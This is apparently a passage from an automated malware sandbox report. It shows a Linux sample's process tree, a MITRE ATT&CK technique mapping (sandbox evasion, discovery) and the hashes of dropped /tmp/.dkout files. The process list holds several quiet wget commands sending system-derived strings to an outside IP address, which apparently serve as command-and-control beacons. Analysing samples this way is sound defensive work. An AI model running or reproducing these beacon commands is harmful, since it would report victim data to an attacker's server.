  cut -c1-100
  2⤵
  PID:1159
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1158
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/77/PID=684"
  2⤵
  PID:1160
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1163
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1164
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/78/DEAD3
  2⤵
  PID:1165
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1168
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1169
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/79/DEAD11
  2⤵
  PID:1170
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1173
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1174
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/80/CACHE
  2⤵
  PID:1175
- /usr/bin/wget
  wget -q -T 5 -O /dev/null http://164.68.109.244/dk-done-80
  2⤵
  PID:1176

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.dkout

Path /tmp/.dkout
Size 42B
SHA256 ec24b92f3d74f288609cc24d1e26d5f29c74b5a223532dfffac119069ecd70e3
MD5 28dd04561885c9f7fe7580d45dcf7b13
SHA1 0cba3f351224777e9cab67941a75afb16267f8d5
SHA512 8a9f502d2b65157b99369af989e9ae8877ca33433a82f86352edbfb185d136c378c15d0354c4a24e31431c8ce368ab785e419318cde7a586663597e2f69e44d5
MD5 SHA1 SHA512

Submit Download

.dkout

Path /tmp/.dkout
Size 88B
SHA256 be16eaaf8b25fdc99ecd63890b7dc3d00861e0b750c5048c7d6f11f21e271561
MD5 710f85c3355096fdf646a61f8cacad71
SHA1 fdc5092026ee82c0c5306f3dc7569253a17bfa9d
SHA512 9834a94f0affc6bfa5f6cfc48220be48c47b35f80a4f68aa59518e5d3179b5e7edf155d1987105589c66bb83668b2e6006bb5e195eb129abf9ea9727f094c114
TLSH
T17AB012903FA070C39143C4F4E0F401C3407394105320BE5147CE8243181120D3351940
MD5 SHA1 SHA512 TLSH

Submit Download

.dkout

Path /tmp/.dkout
Size 782B
SHA256 5ecd878ac658a6a5b683a91c163c4c22cdb7a60bf5c0039b72e7480867a212f5
MD5 31f14e4739331031e6964a414e10024e
SHA1 fb54d19e3ebd632f98675787ddb75030ea79e5ad
SHA512 625ffd43d9347c6569cfc6286a17bda775e5ea1c8175f2782a2f9fad7286a5ac107e7637a365dde2fffcf03e8477f5d7569727f7eff15db4aff749787742974f
TLSH
T168011E51FE4403F7D1F1CFA7D11416804462A02B07B736FCC7C5C6A88285943671F45D
MD5 SHA1 SHA512 TLSH

Submit Download

.dkout

Path /tmp/.dkout
Size 785B
SHA256 cf56577b295061f29c7bc3af3cc7af98397c5eb277cdb0bab060cd582cea334b
MD5 80d87c4417fcbdc2cefa3418bb819654
SHA1 fc5756b7c64ae4d6ae33617a4887d3606a6774ec
SHA512 6a8cc561507ec924f569d7ed78b477d138fb120b64024049c8b012c14876439f8a63bcba8c112e8208e7e0fa8141e425a7a36484dde3b9512e46df308ee7431a
TLSH
T17C011E51FE4403F7D1F1CFA7D12416804462A02B07B736FCC7C5C6A88285947671F45D
MD5 SHA1 SHA512 TLSH

Submit Download

.dkout

Path /tmp/.dkout
Size 4KB
SHA256 798f2917d9dbd7689223368faf60cc32d53dcb642e9a92ca54a7175bc787cc64
MD5 de4cda81f5f3666db793c7df545a889a
SHA1 a13b8064578fa21f08f5f9627cbf9119ff18024e
SHA512 dcef41a854d30f9238c9398ff244c3a70817058b3fa6428d98a6c6f4a217f1c1ad1fecc7702329d9c2b1bf7613b1ca12465bc1066e34a06ceca002df83b7b420
SSDEEP 48:1HeenDSpFWabl8T3444MbLUorinI0uOobKxA9V34zrGuSwUDC8/RfnnECYuWXlTB:1Qp55D4VQMtG0KqFTe
TLSH
T1A3819490DEB4862AE054D943A33037023E16E70649D535ACB24E47EAE37FC82BFB5117
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads